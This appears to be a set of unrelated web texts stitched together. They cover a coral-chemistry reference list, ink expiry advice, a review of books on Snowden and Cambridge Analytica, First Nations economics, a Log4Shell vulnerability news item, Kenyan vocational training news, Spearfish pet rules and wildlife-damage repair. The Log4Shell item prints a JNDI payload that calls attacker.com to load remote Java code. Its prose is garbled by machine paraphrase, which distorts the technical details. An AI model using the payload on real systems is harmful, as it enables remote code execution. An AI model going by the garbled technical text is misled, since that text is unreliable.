Gagan M. K., Chivas A. R., and Isdale P. J. (1994) High-resolution climate records from corals using ocean temperature and mass- spawning chronometers. Earth Planet. Sci. Lett. 121, 549-558. Goldberg E. D., Backer M., and Fox D. L. (1952) Microfiltration
in oceanographic research. J. Mar. Res. 11, 194-204.
Guilderson T. P., Fairbanks R. G., and Rubenstone J. L. (1994) Tropical temperature variations since 20,000 years ago: Modulat- ing interhemispheric climate change. Science 263, 663-665. Kinsman D. J. and Holland H. D. (1969) The coprecipitation of
cations with CaCO3-IV. the co-precipitation of Sr 2+ with aragonite between 16°C and 96°C. Geochim. Cosmochim. Acta 33, 1-17. Lee T., Shen C. C., Chen C. Y., Wang C. H., and Dai C. F. (1995)
SST-D [Sr/Ca] calibration for two Porites coral species with on- site continuous temperature recording and seawater [ Sr/Ca] moni- toring. EOS(Trans. Amer. Geophys. Un.) 76, 179-180. Martin J. M., Dai M. H., and Cauwet G. (1995) Significance of
colloids in the biogeochemical cycling of organic carbon and trace metals in a coastal environment example of the Venice Lagoon (Italy). LimnoL Oceanogr. 40, 199-131.
McConnaughey T. A. (1989) ~3C and ~80 isotopic disequilibria in biological carbonates. I. Patterns. Geochim. Cosmochim. Acre 53, 151-162.
McCulloch M. T., Gagan M. K., Mortimer G. E.. Chivas A. R., and Isdale P. J. (1994a) A high-resolution Sr/Ca and 6 JsO coral record from the Great Barrier Reef, Australia, and the 1982-1983 E1 Nifio. Geochim. Cosmochim. Acta 58, 2747-2754.
McCulloch M. T., East T., Mortimer G. E., Li X. H., and Chivas A. R. (1994b) High resolution windows into Holocene-Pleisto- cene climate: Sr/Ca coral records of sea surface temperature from the Huon Peninsula, New Guinea. EOS(Trans. Amer. Geophys.
Un.) 75, 333.
Min G. R., Edwards R. L., Taylor F. W., Recy J., Gallup C. D., and Beck J. W. (1995) Annual cycles of U/Ca in coral skeletons and U/Ca thermometry. Geochim. Cosmochim. Acta 59, 2025-2042. Russell W. A., Papanastassiou D. A., and Tombrello T. A. (1978) Ca isotope fractionation on the Earth and other solar system materials.
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Shaw P. T. (1989) The intrusion of water masses into sea southwest of Taiwan. J. Geophys. Res. 94, 123-128.
Smith S. V., Buddemeier R. W., Redalje R. C., and Houck J. E. (1979) Strontium-Calcium thermometry in coral skeletons. Sci-
ence 204, 404-407.
Taylor R. B., Branes D. J., and Lough J. M. (1993) Simple models of density band formation in massive corals. J. Exp. Mar. Biol.
Ecol. 167, 109-125.
Weber J. N. ( 1973 ) Incorporation of strontium into reef coral skeletal carbonate. Geochim. Cosmochim. Acta 37, 2173-2190. | <urn:uuid:e03cf93f-0318-4ed0-9732-edba3965f91f> | CC-MAIN-2022-33 | https://9lib.co/document/nzw92vly-calibration-sr-versus-surface-temperature-relationship-porites-corals.html | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573623.4/warc/CC-MAIN-20220819035957-20220819065957-00665.warc.gz | en | 0.871454 | 12,713 | 1.820313 | 2 |
Tax voice is considered as one of the most vital testimonies that are to be promulgated through a registrant when a payable/taxable supply of some materials is manufactured. The VAT in UAE states that it is essential that all registrants must generate a TAX Invoice for taxable contributions to other registrants, where the amount for supplies crosses the threshold limit of AED 10,000.
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Epson says that their inks are produced with very tight process control standards. They are formulated by a team of more than 200 color specialists! These inks are rated to be colorfast for more than 200 years. So why do you need to worry about the expiration dates?
The reality is that expired inks can make a printer unstable. The amount of variation is noticeable in many cases.
Brand new printers with fresh ink tend to print very consistently, with variation only noticeable on about 5% of the colors. Expired inks can increase that variation between 10% and 20%.
When I say expired inks, I’m also talking about a second expiration date. After you install Epson inks and break the seal, Epson recommends that you replace that ink in six months. Yes, six months! Even if the expiration on the packaging says you have one more year, once the seal is broken, you really only have six months.
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“The world’s most valuable resource,” noted The Economist in 2017, “is no longer oil, but data.” According to the same publication, in 2019 “big firms spent $32bn … on cloud services” – “cloud services” being where our data are stored.1
Three books, all published in 2019, tell you more about data than you ever thought you wanted to know.
Edward Snowden, Permanent Record.
New York: Metropolitan Books, 2019. 352 pages.
Permanent Record is about Edward Snowden’s short but memorable career in American intelligence. He was born in Elizabeth City, North Carolina, in 1983. He was a member, he says, of the “last undigitized generation, whose childhoods aren’t up on the cloud but are mostly trapped in analog formats like handwritten diaries and Polaroids and VHS cassettes, tangible and imperfect artifacts that degrade with age and can be lost irretrievably.”
His was also the first generation to be raised with, if not by, computers. His parents seem serious and devoted, descended on both sides from a long line of Navy personnel. Oliver Stone’s 2016 film Snowden makes its subject appear right-wing, at least in contrast with his girlfriend (now wife) who drags him to an Iraq war protest. In the book, Snowden and his parents seem patriotic in a “good citizenship” way. They don’t have strongly partisan views. Snowden joins the Marines, and later the CIA, to contribute to his country.
He tells an interesting anecdote that conveys, I think, the family’s politics. His mother loved giving him math challenges. She’d buy him books and toys if he could mentally total their prices. He had to add in the 3 per cent sales tax.
“Everything we buy, we have to pay three percent to the government.”
“What do they do with it?”
“You like roads, buddy? You like bridges? … The government uses that money to fix them. They use that money to fill the library with books.”
Some time later, she told him,
“They raised the sales tax. Now you have to add four percent.”
“So now the library will get even more books?”
One day, his father brought home a computer. Soon afterward, he could “dial up and connect to something new called the Internet”:
Internet access, and the emergence of the Web, was my generation’s big bang or Precambrian explosion. It irrevocably altered the course of my life … From the age of twelve or so, I tried to spend my every waking moment online … Gradually, I stopped sleeping at night and instead slept by day in school. My grades went back into free fall.
Snowden and education never got along, and eventually he found work using his computer talents. Then there was a news report “about a plane hitting one of the Twin Towers of the World Trade Center,” and then “a second plane just hit the other tower.” Snowden writes that he “accepted all the claims retailed by the media as facts … I wanted to be a liberator. I wanted to free the oppressed.” He thought he could best serve his country “behind a terminal, but a normal IT job seemed too comfortable and safe.” He wanted to work with the CIA or the National Security Agency (NSA), but he didn’t have the educational qualifications:
The more I read around online, however, the more I realized that the post-9/11 world was a world of exceptions. The agencies were growing so much and so quickly, especially on the technical side, that they’d sometimes waive the degree requirements for military veterans.
He joined the Army. That ended poorly, with multiple fractures in his legs and “administrative separation … only available to enlistees who’d been in the services fewer than six months.” He decided to follow the inevitable, by putting his computer skills to use for the government. After 9/11, they were desperate for people with computer skills. But by this time, the structure of government service had changed:
I was amazed to find that there were very few opportunities to serve my country directly, at least in a meaningful technical role. I had a better chance of working as a contractor for a private company that served my country for profit; and I had the best chance, it turned out, of working as a subcontractor for a private company that contracted with another private company that served my country for profit.
Snowden rose rapidly through the ranks. His job was to “make it technologically feasible for a single government to collect all the world’s digital communications, store them for ages, and search through them at will.” But gathering and storing data on U.S. citizens was illegal, and high government officials and top politicians were lying about it. In early June 2013, while hiding out in a Hong Kong hotel, he went public. He was not yet 30 years old.
The U.S. cancelled Snowden’s passport while he was in transit through Russia. I was relieved to read that a year later his wife joined him. They’ve been there ever since.
It’s easy to admire Snowden; he was cautious and disciplined. Without mentioning names, he distinguishes himself from Julian Assange: “I disclosed the government’s documents only to journalists. In fact, the number of documents that I disclosed directly to the public is zero. I believe, just as those journalists believe, that a government may keep some information concealed.”
Snowden was heroic, but I have to admit I’m not as outraged by his government’s behaviour as he is. I oppose it in principle, but I don’t feel threatened by it. As the cliché goes, “If you haven’t done anything wrong, you have nothing to fear.” On the other hand, Christopher Wylie’s Mindf*ck (sic) scared the shit out of me.
Christopher Wylie, Mindf*ck: Cambridge Analytica and the Plot to Break America.
New York: Random House, 2019. 288 pages.
From undermining fanatics to organizing fanatics
Christopher Wylie was born in Victoria, British Columbia, in 1989. His parents were doctors. He spent his high school years in a wheelchair as a result of two relatively rare conditions: “Not long after I discovered the computer lab, it became the one room at school where I didn’t feel alienated. Outside, there were either bullies or patronizing staff.”
It was liberating to find my voice. Like any teenager, I was exploring who I was, but for someone gay and in a wheelchair, this was an even bigger challenge … I began to realize that many of the things I was living through were not simply personal issues – they were also political issues. My challenges were political. My life was political. My mere existence was political .
He was brought to the attention of a local Liberal MP and offered a job in Ottawa. But first he spent
the summer of 2007 in Montréal, hanging out in hacker spaces frequented by French Canadian techno-anarchists … By then, with treatment, I could shuffle around without a wheelchair … Most hackers couldn’t care less what you look like or if you walk funny. They share your love of the craft and want to help you get better at it … My brief exposure to hacking communities left a permanent impression. You learn that no system is absolute. Nothing is impenetrable, and barriers are a dare.
When he arrived in Ottawa, Facebook was big and Twitter was growing, but no one in the Liberal Party knew what to do with them. The Liberals sent several people, including Wylie, to observe Barack Obama’s campaign. He was expecting to learn new media, like YouTube; instead he learned about data and “the modeling they used to analyze and understand that data.” He learned that “it was those numbers – and the predictive algorithms they created – that separated Obama from anyone who had ever run for president before.” With data on “age, gender, income, race, homeownership – even magazine subscriptions and airline miles” – you could predict whom people would vote for and what issues were most important to them, and craft messages that might sway their opinions:
For me, this was a wholly new way of understanding elections. Data was a force for good, powering this campaign of change. It was being used to produce first-time voters, to reach people who felt left out. The deeper I got into it, the more I thought that data would be the savior of politics.
He was eager to share what he’d learned. He had his supporters but, in the end, the Liberal Party of Canada didn’t want to spend the money on something they didn’t quite understand. Soon afterward, “The LPC was devastated in the federal election by the Conservative Party of Canada, which had invested in sophisticated data systems at the behest of its imported Republican advisers.”
In 2010, at age 21, Wylie left politics for law school at the London School of Economics and Political Science. He “flourished in London and soon gained a wide circle of friends.” He was soon tempted by an offer from the U.K. Liberal Democrats. It was the the only party to oppose the war in Iraq, he notes, but it was a poster on their office wall that finally lured him in: “No one shall be enslaved by poverty, ignorance or conformity.” It all makes for a very funny story – unless you’re a Liberal Democrat. Wylie provided an extensive and devastating report, and the party elected to shoot the messenger. In 2015, “the party was eviscerated, losing forty-nine of its fifty-seven seats in Parliament.”
He was ready for something new. A Lib Dem connection had suggested Wylie apply for a job with SCL Group, because SCL was “looking for ‘data people for some behavior research project’ involving the military.” After several interviews, Alexander Nix, an SCL director, “offered me a three-month contract to do, essentially, whatever I wanted … After all the agonies of dealing with the LPC and the Lib Dems, it was incredibly enticing to be given free rein.” In June 2013, he started at SCL.
Meanwhile, Wylie had started a PhD in fashion at University of the Arts London. Nix agreed to cover his tuition. SCL had contracts with the British and U.S. military. Wylie’s days alternated between “fashion models and cyberwarfare,” but it was models of another kind, “neural networks, computer vision, and autoencoders,” that attracted him:
At SCL we would watch countless numbers of radical jihadist propaganda videos, and we noticed that, beyond the violence of the clips that make it onto the news, there was a rich and well-articulated aesthetic to their style of content. Cool cars were showcased. There would be music … They tried to position their backward ideology as somehow modern or futuristic in a way that echoed the old Italian Futurists’ promotion of a fascism for tomorrow … These films were propagating a grotesque cult of violence and hate … Their style was self-indulgent and naively romantic, and it bordered on kitsch. Even terrorists have pop culture.
Around this time, in September 2013, I distinctly remember thinking, How cool is this? I get to work in culture, but not just for someone’s branding campaign. I get to work in culture for the defense of our democracy.
SCL was trying to undermine extremist movements. If you could get enough information on their members, you could sow discord: “The most susceptible targets are typically the ones who exhibit neurotic or narcissistic traits … because they are more prone to feelings of envy and entitlement, which are strong motivators of rule-breaking and hierarchy-defying behavior.” To find the most susceptible targets, you needed a great deal of data, more than you could sort manually. So you also needed algorithms to analyze the data. That’s what they did at SCL: gather truckloads of data and analyze it. They did it for military security; and then they did it for anyone who had the money to pay for it.
In Karim Amer and Jehane Noujaim’s film The Great Hack, SCL CEO Alexander Nix is shown pitching the company by describing its work in Trinidad and Tobago:
There are two main political parties, one for the Blacks, one for the Indians. And they screw each other. So, we were working for the Indians, and we went to the client and we said we want to target the youth. And we try and increase apathy. The campaign has to be non-political, cause the kids don’t care about politics. It has to be reactive, cause they’re lazy. So we came up with this campaign which was all about “be part of the gang,” “do something cool,” “be part of a movement,” and it was called the “DO SO!” campaign. “Do so! Don’t vote!” … It’s a sign of resistance against, not the government but against politics and voting. We knew that when it came to voting, all the Afro-Caribbean kids wouldn’t vote because they “Do so!” but all the Indian kids would do what their parents told them to do, which was to go out and vote … Now the difference in 18- to 35-year-old turnout was like 40 per cent. And that swung the election about 6 per cent, which is all that’s needed in an election that’s very close.2
It was a young field and Wylie’s task was to develop it by gaining access to new sources of data and writing new algorithms to analyze them: “One unintended consequence of having large pluralities of citizens connected via mobile phone networks was that everybody could be traced, tracked, profiled, and communicated with.” There were “data brokers such as Experian, Acxiom, and niche firms with specialist lists from evangelical churches, media companies, and so on. Even some state governments will sell you lists of hunting, fishing, or gun licensees.”
A great deal of data came from Facebook, which used the data it gathered to sell targeted advertising but didn’t seem to care much who else used it and what they used it for. And when you joined Facebook, you gave them permission to access all your friends’ data too. Eventually SCL had information on hundreds of millions of people, and once they had 5,000 bits of information on you (everything you clicked or liked, every email you sent or YouTube you watched, every Google search you searched), so the claim went, they knew you better than you knew yourself.
The algorithms were about profiling. They’d categorize personality by:
ratings on five scales: openness, conscientiousness, extraversion, agreeableness, and neuroticism … This sounds simple, but the Big Five model can be an immensely useful tool in predicting voters’ behavior … Obama ran on change, hope, and progress – in other words, a platform of openness to new ideas. Republicans, on the other hand, tend to focus on stability, independence, and tradition – in effect, a platform of conscientiousness.
Each of the Big Five traits are found in pretty much everyone. There’s also a:
“dark triad” of traits – narcissism (extreme self-centeredness), Machiavellianism (ruthless self-interest), and psychopathy (emotional detachment) – that are less common and maladaptive, meaning that those who exhibit them are generally more prone to anti-social behavior, including criminal acts.
In October 2013, Steve Bannon arrived at SCL, with truckloads of money provided by eccentric right-wing backers. When he first met Bannon, Wylie writes,
We talked for four hours – not only about politics but about fashion and culture, Foucault, the third-wave feminist Judith Butler, and the nature of the fractured self. On the surface, Bannon seemed utterly predictable – another old, straight white guy – but he spoke with a certain wokeness I hadn’t expected at all. In fact, I quickly decided he was kind of cool … He was no political hack, but a fellow nerd given permission to speak freely.
When Wylie joined SCL, he believed that data collection and profiling were being used for positive ends, to search out fanatics and prevent acts of terrorism. That changed soon after Bannon’s arrival and the creation of a new SCL subsidiary, Cambridge Analytica. CA continued to search out fanatics, but for different purposes. Bannon was out to organize fanatics. CA would create new Facebook pages “with vague names like County Patriots or I Love My Country.” As people joined these groups, CA would post videos and articles:
Conversations would rage on the group page, with people commiserating about how terrible or unfair something was. CA broke down social barriers, cultivating relationships across groups. All the while it was testing and refining messages …
Once a group reached a certain number of members, CA would set up a physical event. CA teams would choose small venues – a coffee shop or bar to make the crowd feel larger … People would show up and find a fellowship of anger and paranoia. This naturally led them to feel like they were part of a giant movement, and it allowed them to further feed off one another’s paranoia and fear of conspiracy. … The meetings took place in counties all across the United States, starting with the early Republican primary states, and people would get more and more fired up at what they saw as “us vs. them.” What began as their digital fantasy, sitting alone in their bedrooms late at night clicking on links, was becoming their new reality.
That’s one example of what you could do with a lot of data and the ability to select the people you want. But data and technical ability weren’t enough. Wylie describes CA’s work for the Leave side in the Brexit campaign:
The problem with Remain was that they completely failed to understand what they were up against. As Cambridge Analytica identified, provoking anger and indignation reduced the need for full rational explanations immunize target voters to the notion that the economy would suffer. neglected to stop and ask people what they thought the economy was in the first place. Cambridge Analytica identified that many people in non-urban regions or in lower socioeconomic strata often externalized the notion of “the economy” to something that only the wealthy and metropolitan elite participated in. “The economy” was not their job in a local store; it’s something that bankers did.
Pro-Brexit leaders knew that to win they would need to attract a few progressive voters:
One of the most compelling progressive arguments for Brexit was pretty simple … Under EU rules, migrants to Britain from countries like France, Italy, Spain, Germany, and Austria did not need a visa to work and live in Britain. But migrants from, say, India, Pakistan, Nigeria, or Jamaica were required to undergo extensive screening and difficult immigration procedures … As the Remain campaign paraded around its “pro-immigration” messages to defend the EU, what many people of color saw was the tacit whiteness of that very message – that it really meant rights for some immigrants … And it was by identifying this bubbling resentment that the pro-Brexit movement managed to create a counterintuitive alliance between some sections of immigrant communities and cohorts of jingoist Brexiteers who wanted them all to “go home” .
One more example:
In August 2016, the football player Colin Kaepernick refused to stand for the American national anthem to protest systemic racism and police brutality toward African Americans and other minorities in the United States. The fashion brand Nike, Kaepernick’s sponsor, stood behind the athlete, and a controversy ensued … Cybersecurity firms also identified fake Nike coupons originating from alt-right groups that targeted African American social media users with offers like “75% off all shoes for people of color.” The coupons were intended to create scenarios in which unwitting African American customers would try to use the coupons in a Nike store, where they would be refused. In the age of viral videos, this scenario could in turn create “real” footage showcasing a racist trope of an “angry black man” demanding free stuff in a store. So why would these disinformation operations target a fashion company and attempt to weaponize its brand? Because the objective of this hostile propaganda is not simply to interfere with our politics, or even to damage our companies. The objective is to tear apart our social fabric. They want us to hate one another.
By August 2014, less than a year after Bannon’s arrival, it all became too much for the one-time adviser to the Liberal Party of Canada. Two years after Wylie and CA parted company, Donald Trump became the GOP nominee: “If my hunch was correct, Cambridge Analytica was not only using the data tool I had worked on to manipulate American voters into supporting him, it may have been knowingly or unknowingly working with Russians to sway the election. … I felt sick to my stomach. And I knew I had to tell someone.” A few months after Trump’s election victory, Wylie went public. When he testified before the U.S. Congress, in June 2018, he was 29 years old.
Brittany Kaiser, Targeted: The Cambridge Analytica Whistleblower’s Inside Story of How Big Data, Trump, and Facebook Broke Democracy and How It Can Happen Again.
New York: Harper, 2019. 400 pages.
The digital arms race
A second book about Cambridge Analytica has been published: Brittany Kaiser’s Targeted. Kaiser, who also has a background in progressive politics, joined CA around the time Wylie was leaving. Targeted doesn’t add much to Wylie’s story. Kaiser seems mostly concerned with explaining why she stayed at CA for four years. None of the three books has an index, perhaps an unfortunate result of the shift toward electronic books.
The three books together are an introduction to another world. It would be nice to think that companies and governments are tightening up rules and legislation to protect our private data, but my guess is that the increasing sophistication of our cybersecurity experts will be matched by the increasing sophistication of our hackers, in a kind of digital-evolution arms race. Snowden, Wylie, Kaiser and a host of others have myriad suggestions. I don’t mean to denigrate them, but they don’t make me feel safe from predators like the wealthy among us who will stop at absolutely nothing in pursuit of their ends. The outcome, if not their intention, seems to be an increasing number of failed organizations and states.
Back in March, Snopes.com declared as “false” rumours that U.S. representatives had used COVID-19 legislation to give themselves a $25 million pay raise. Who started and promoted the rumour?
Would a Cambridge Analytica clone incite Indigenous people to block railways in support of other Indigenous groups?
Did you know that your computer’s camera can watch you, even when the computer is off?
The irony is that while Bannon and friends are out to create distrust and paranoia in all of us, these three books (and a host of films) do exactly that in me.
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Wealth of First Nations (2019)
A higher standard of living for First Nations is a priority for Canadian policy makers. To achieve that goal, it is important to know what works and what doesn't. The Wealth of First Nations provides empirical evidence, based on the achievements of First Nations themselves, about the factors associated with high scores on the Community Well-Being (CWB) Index, which aggregates measures of income, employment, housing, and education for all Canadian communities, including Indian reserves. The overall conclusion is that "making" participation in the Canadian economy—is more effective than "taking"—using political and judicial power to obtain larger transfers from government.
High-scoring First Nations usually have long-term stable leadership. They reward Chief and Council adequately but not excessively. They balance their budgets, pay their bills on time, and avoid deficits. They exercise practical self-determination by using "off ramps" from the Indian Act to collect their own taxes and manage their own lands. All these factors show statistical correlation with higher CWB scores, but reliance on Indian Act government or custom governance does not seem to be a relevant factor.
Some high-scoring First Nations make use of Certificates of Possession, the strongest form of individual property available under the Indian Act. Leasing of band land to generate own-source revenue is also a crucial factor. Whatever the legal mechanisms, high-scoring First Nations take advantage of many different economic opportunities, such as tourism and hospitality, residential and commercial real estate development, and natural resource plays. Each high-scoring First Nation has its own unique profile combining several of these legal, political, and economic factors.
In comparison, transfers achieved by political and judicial activism show little or no association with higher CWB scores. Federal spending on Indigenous people has grown exponentially over the last 70 years, but First Nations' CWB has not improved proportionally to that increase in spending. Rather, the improvement of First Nations' CWB parallels the CWB improvement of other Canadian communities. The Canadian economy, not government spending, appears to be the tide that lifts all boats.
Specific claims have resulted in the transfer of almost $6 billion stemming from disputes over the implementation of treaty or Indian Act provisions, but First Nations that have received these settlements do not show higher CWB scores than those that have not received them. In Saskatchewan, large amounts of land have been added to Indian reserves in the name of treaty land entitlement, based on arguments that reserves were smaller than they should have been. Yet these transfers have had no discernible impact on CWB scores except for a small number of entrepreneurial First Nations that have used their new lands to create urban reserves and enter the business world. Attempts to rectify the past do not produce higher living standards in the present or future.
Legal rights have also been transferred, the most important example being the creation by the courts of the "duty to consult" First Nations before authorizing natural resource development projects on traditional territory. Although confidentiality of these transactions precludes exact statistical analysis, it is clear that some First Nations, such as Fort McKay, have obtained large payments through consultation and have invested the proceeds with great success. However, dozens of First Nations have received little or nothing because political activists have used the duty to consult to block oil and gas pipelines. Consultation can be a powerful tool for First Nations that want to improve their CWB by engaging in the Canadian economy, but it won't realize its full potential until the law is reformed to prevent essential corridor developments from being blocked by small groups of political opponents.
Adam Smith showed in The Wealth of Nations how prosperity arises from making and trading, rather than taking. His findings apply to Canadian First Nations, just as they do to other nations.
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A vital vulnerability has been learned in Apache Log4j 2, an open supply Java bundle applied to empower logging in many popular purposes and which can be exploited to allow remote code execution on countless servers.
The Apache Software package Foundation (ASF) has determined the vulnerability as CVE-2021-44228 LunaSec dubbed it Log4Shell. (And stability researcher Kevin Beaumont was kind ample to generate a logo for that far too.) ASF promises that Log4Shell receives the maximum severity rating, 10, on the Common Vulnerability Scoring Method (CVSS) scale.
LunaSec presents a specific assessment of how Log4Shell can be exploited on susceptible servers:
User facts is despatched to the server (by way of any protocol),
The server logs the information in the request, containing the destructive payload:
$jndi:ldap://attacker.com/a(the place is it
attacker.comis a server controlled by an attacker),
The Log4j vulnerability is triggered by this payload and the server makes a request to
attacker.comby using “Java Naming and Listing Interface” (JNDI),
This response is made up of a path to a remote Java course file (ex.
http://second-phase.attacker.com/Exploit.class) which is injected into the server system,
This injected payload triggers a next period and enables an attacker to execute arbitrary code.
Scientists say they have uncovered evidence that Log4Shell can be leveraged on servers managed by Apple, Cloudflare, Twitter, Valve, Tencent, and other massive corporations. The vulnerability is reported to be notably simple to exploit even in Minecraft servers, with some theoretical verification assault using practically nothing additional than in-activity chat.
A Cloudflare spokesperson states “there is no evidence of us becoming exploited.” In a website write-up, Cloudflare mentioned it “works by using some Java-based computer software and our groups worked to make sure that our programs ended up not susceptible or that this vulnerability was mitigated. In parallel, we implemented firewall guidelines to defend our customers.” . It also distributed security to free clients “owing to the severity of the vulnerability”.
Log4j edition 2.15. was introduced to fix this flaw, but The Record experiences that its resolve simply just improvements a location from “untrue” to “real” by default. Users who change the location back to “bogus” continue being susceptible to attack. The good thing is, this suggests that servers working more mature variations of Log4j can mitigate the attack by transforming that placing.
ASF states that “this conduct can be mitigated by environment the system house ‘log4j2.formatMsgNoLookups’ to ‘true’ or by getting rid of the JndiLookup class from the classpath (illustration: zip -q -d log4j-core – *. Jar org / apache / logging /log4j/main/lookup/JndiLookup.course) “in prior versions of Log4j if users cannot upgrade to model 2.15..
Advised by our editors
The Computer system Unexpected emergency Response Crew (CERT) for New Zealand, Deutsche Telekom CERT, the Greynoise Stability businesses and other people have all documented that attackers are actively on the lookout for servers vulnerable to Log4Shell attacks. These attempts will continue on and grow, so addressing the vulnerability as early as doable is essential.
Editor’s Note: This tale has been current with Cloudflare’s remark.
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The government has hired 6,000 instructors for
Technical and vocational education and training (TVET), institutions across the country.
This counteracts the acute shortage of this cadre and bridges the growing gap between trainers and trainees.
In a speech at the Ramogi Institute of Advanced Technology (RIAT), Dr. Margaret Mwakima, Main Secretary (PS), State Secretary for Vocational and Technical Training, yesterday at the opening of a driving school that the student body had overwhelmed the existing facilities by far.
Dr. Mwakima said the driving school was built by a former student at a cost of SH 43 million, which shows that the training they offered was in line with global standards and will attract a greater number of young people in search of quality driving lessons.
âWe have equipped vocational training institutions, the number of which has increased enormously from 51 in 2013 to a record 238 this year. However, the number of expected trainers who are supposed to convey relevant knowledge in the sense of the Big4 agenda is low, âexplained the PS.
She said the government has committed to investing in vocational training facilities as its graduates play a vital role in job creation, adaptation and use of modern technologies that are critical to transforming Kenya into an industry-based economy.
Dr. Mwakima said RIAT has taken the lead in offering programs that are relevant to industry needs and meet international standards.
“Graduates from this great institution should not only be able to find employment in the world market, but also become self-employed and employers,” she added.
This gigantic shift has created a need for unique transformative engineering skills, a need that can only be met through a properly developed and thoroughly implemented competency-based education and training program (CBET), said Dr. Mwakima.
She argued that industry-focused, high-quality, demand-driven CBET programs are the foolproof means of ensuring immediate and sustainable employability for VET graduates.
The government’s efforts and deliberate steps to invest heavily through infrastructure and human resource development, the formulation of a proactive regulatory framework, and subsidized tuition fees should ensure that the sleeping giant is awakened to play its rightful role.
In addition, she said, undergraduate students, like their alumni, can now have access to Higher Education Loans Board (HELB) funds in both public and private institutions.
“I urge young people to seize the opportunity to acquire the necessary lifelong skills and competences that will enable them to compete cheaply in the workplace,” declared the PS.
She said the establishment of the RIAT Driving School, for which the institution invested $ 6 million from its coffers, came in response to public calls for safe and responsible driving and to minimize the number of deaths on our roads, even more so among the Boda Boda drivers.
National Transport & Safety Authority (NTSA) Program Director Samuel Musumba announced that the Boda-Boda training, which began in Kiambu, Kajiado and Machakos, continues to have an overwhelming response and there is a need to expand the exercise across the country . with a view to curbing deaths due to reckless driving.
He appealed to all 47 counties to complement the national government’s efforts to contain deaths on our roads by promoting behavior change and licensing training.
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SPEARFISH, SD – As summer kicks off, everyone – humans and pets alike! – are excited to enjoy the outdoors, and as the temperature heats up, consider conditions when planning trips, exercise, and daily routines to ensure your pet is safe and comfortable.
Avoid having animals travel in vehicles if you plan to make any stops that would require the pet to remain in the vehicle, even if the vehicle is in the shade or the windows are down. The interior of a vehicle can quickly heat to deadly temperatures, and state law mandates that
“No owner or caretaker may leave a dog, cat, or other small animal unattended in a standing or parked vehicle in a manner that endangers the health or safety of such animal.”
Spearfish is rife with beautiful areas users of all ages and abilities enjoy. Among these amenities are multiple off-leash areas where people can let their pets roam; in all other locations, residents and visitors are reminded their pets need to remain leashed. On longer walks and hikes, owners should remember to pack drinking water for four-legged friends, too.
“One of the great things about Spearfish is how outdoor recreators can involve their pets in their pastimes, whether walking, hiking, biking, spending time in the parks or on the rec paths, camping, cooling off in the creek – there are so many opportunities to enjoy the outdoors,” Animal Control Officer Scott Beal said.
There are three designated off-leash areas within Spearfish: The dog park, with two enclosures designated for small or large dogs, located at Spartan Park, off State Street and East Grant Street; an off-leash area to the south of Roughlock Lane, adjacent to False Bottom Creek; and the northernmost section (marked with signs to alert users of the off-leash area) of the Meier Property, north of Evans Park and west of Spearfish Creek. It is important to remember that only the northernmost area is designated as off leash, not the entire area.
All other areas, including the rec path, parks, campground, sports field, sidewalks, Spearfish Creek, and roadways, require owners to have their pets leashed.
“To protect your pet from getting lost, having an unwanted interaction with another animal, motorist, or human, or responding to a stressful situation in a way that is out of their normal behavior, it is important to keep your pet on a leash,” Animal Control Officer Beal said.
The leash law is meant to protect pets, owners, and other citizens using the same spaces by preventing any unwanted interaction.
“While many people think of their pets as family members, there are others who may have had negative experiences and are fearful when approached by an animal, so keeping pets on leashes helps to ensure every person and animal enjoying the outdoor space can do so safely and with peace of mind,” Animal Control Officer Beal said.
Keeping your pet on a leash will also help to ensure they do not inadvertently approach or chase wildlife or livestock, and with temperatures warming, people and pets out enjoying nature should be aware of rattlesnakes. Stay on marked trails, do not hike through tall grass/heavy underbrush where it is difficult to see what may be underfoot, and avoid rocky outcroppings. If you see or hear a rattlesnake, back away: Do not approach the snake or attempt to touch or move it. Animal Control will assist in relocating rattlesnakes found near residences/high-traffic areas.
Other considerations for people and pets out enjoying Spearfish include cleaning up after pets, as required by City Code. There are mailboxes with bags and garbage receptacles located along the rec path and around parks to assist owners in easily picking up after their pets and disposing of waste.
Should an animal become separated from its owners/home, or you come across a lost pet, please call Animal Control at 642-1300. Having a pet wear a collar with a pet tag assists with getting them home, even if the hope is that it will never have to be used to identify the animal if it gets outside. By City ordinance, all pets residing within the city of Spearfish are required to have a pet tag, which are available at the Spearfish Police Department, 225 W. Illinois St.
For more information about licensing your pet, City animal ordinances, and more, visit https://www.cityofspearfish.com/348/Animal-Control. | <urn:uuid:e6247c44-67fe-4042-bd22-1fc070e5dc45> | CC-MAIN-2022-33 | https://cityofspearfish.com/CivicAlerts.aspx?AID=313 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571993.68/warc/CC-MAIN-20220814022847-20220814052847-00665.warc.gz | en | 0.956211 | 934 | 1.726563 | 2 |
Even if your home has insulation, there are still hazards. Rodents, mice, rats, and squirrels love to nest within the fluffy fibers which keep us warm during winter. They chew on insulation and tear it up to make their nests before they move out in the spring. Even though they don’t cause any physical harm, excessive feces can cause a lot of damage.
Learn more about Attic Restoration
Animal Damaged Siding & Flashing Repairs
Animals are persistent and strong. Your home’s siding and flashing can be compromised by animals. Loose siding or unflashed areas act as animal entry points for mice and bats – just ask the wildlife control operator who sees them all the time! If you leave animal damage unattended, it will invite more pests to your home. This can make you sick and cause more damage. Add the high price of repairs and you get more than just a headache. Don’t let this happen!
Animals have very strong teeth so they will try to gnaw their way into your home if they see an opportunity.
Animal Entry Point Seal Up
AAAC Wildlife Control’s animal damage repair team has the experience and knowledge to identify entry points and seal them with effective materials like metal flashing and wire mesh siding. They are able to prevent pesky animals from chewing through these materials. We’ll then paint or replace your siding to restore its former glory.
Learn more about Wildlife Exclusion
Animal Damage Chimney Repairs
When’s the last time that you have checked that your chimney has been properly sealed? Chimneys that have not been sealed properly or are old can attract critters looking for places to nest. Squirrels and bats can easily enter the roof through the openings between the chimneys. Opossums could also gain access to an open fireplace from below. As soon as the young begin hatching, critters become more aggressive. It is best to call professionals for help.
There are many creatures that can live in your chimney and cause expensive damage. AAAC Wildlife Control can inspect your chimney for any unusual odors or droppings.
A chimney infestation has many potential hazards to homeowners: odors that linger long after removal; potentially dangerous creatures like bats nesting near children’s bedrooms; costly damage done by squirrels chewing through wires inside walls. For all these reasons and more–AAAC Wildlife Control services are here 24/7 for damage repairs to your home or business when we’re needed most. Our expert solutions keep wild animals out while keeping our customers safe with site inspections as well as treatments whenever necessary.
We have all the necessary tools to keep them under control. AAAC Wildlife Removal has the ability to remove any kind of critter. Our licensed restoration team can also install chimney caps and crown seals. We’ll make recommendations for more intensive repairs too – just ask us about it!
Maintaining & Restoring Air Quality
